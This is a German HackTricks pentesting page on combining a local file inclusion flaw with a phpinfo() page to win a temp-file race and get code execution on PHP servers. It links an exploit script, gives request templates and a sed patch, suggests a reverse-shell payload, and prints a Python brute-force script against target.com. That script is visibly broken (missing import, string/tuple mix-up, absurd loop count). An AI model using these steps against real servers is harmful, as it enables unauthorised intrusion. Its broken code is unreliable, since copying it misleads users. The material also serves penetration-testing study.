tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Um diese Schwachstelle auszunutzen, benötigen Sie: Eine LFI-Schwachstelle, eine Seite, auf der phpinfo() angezeigt wird, "file_uploads = on" und der Server muss in das Verzeichnis "/tmp" schreiben können.
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Sie müssen den Exploit beheben (ändern Sie => in =>). Dazu können Sie:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
Du musst auch die payload zu Beginn des Exploits ändern (zum Beispiel für eine php-rev-shell), die REQ1 (dies sollte auf die phpinfo-Seite zeigen und das Padding enthalten, d.h.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), und LFIREQ (dies sollte auf die LFI-Schwachstelle zeigen, d.h.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Überprüfe das doppelte "%" beim Ausnutzen des Nullzeichens)
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
Theorie
Wenn Uploads in PHP erlaubt sind und du versuchst, eine Datei hochzuladen, wird diese Datei in einem temporären Verzeichnis gespeichert, bis der Server die Anfrage verarbeitet hat, dann wird diese temporäre Datei gelöscht.
Wenn du eine LFI-Schwachstelle im Webserver gefunden hast, kannst du versuchen, den Namen der erstellten temporären Datei zu erraten und eine RCE auszunutzen, indem du auf die temporäre Datei zugreifst, bevor sie gelöscht wird.
In Windows werden die Dateien normalerweise in C:\Windows\temp\php gespeichert.
In Linux ist der Name der Datei zufällig und befindet sich in /tmp. Da der Name zufällig ist, muss der Name der temporären Datei irgendwo extrahiert und darauf zugegriffen werden, bevor sie gelöscht wird. Dies kann erreicht werden, indem der Wert der Variable $_FILES im Inhalt der Funktion "phpconfig()" gelesen wird.
phpinfo()
PHP verwendet einen Puffer von 4096B und wenn er voll ist, wird er an den Client gesendet. Dann kann der Client viele große Anfragen senden (unter Verwendung großer Header), eine php Reverse Shell hochladen, auf die erste Rückgabe von phpinfo() warten (wo der Name der temporären Datei steht) und versuchen, auf die Temp-Datei zuzugreifen, bevor der PHP-Server die Datei löscht, indem er eine LFI-Schwachstelle ausnutzt.
Python-Skript, um zu versuchen, den Namen zu bruteforcen (wenn die Länge = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.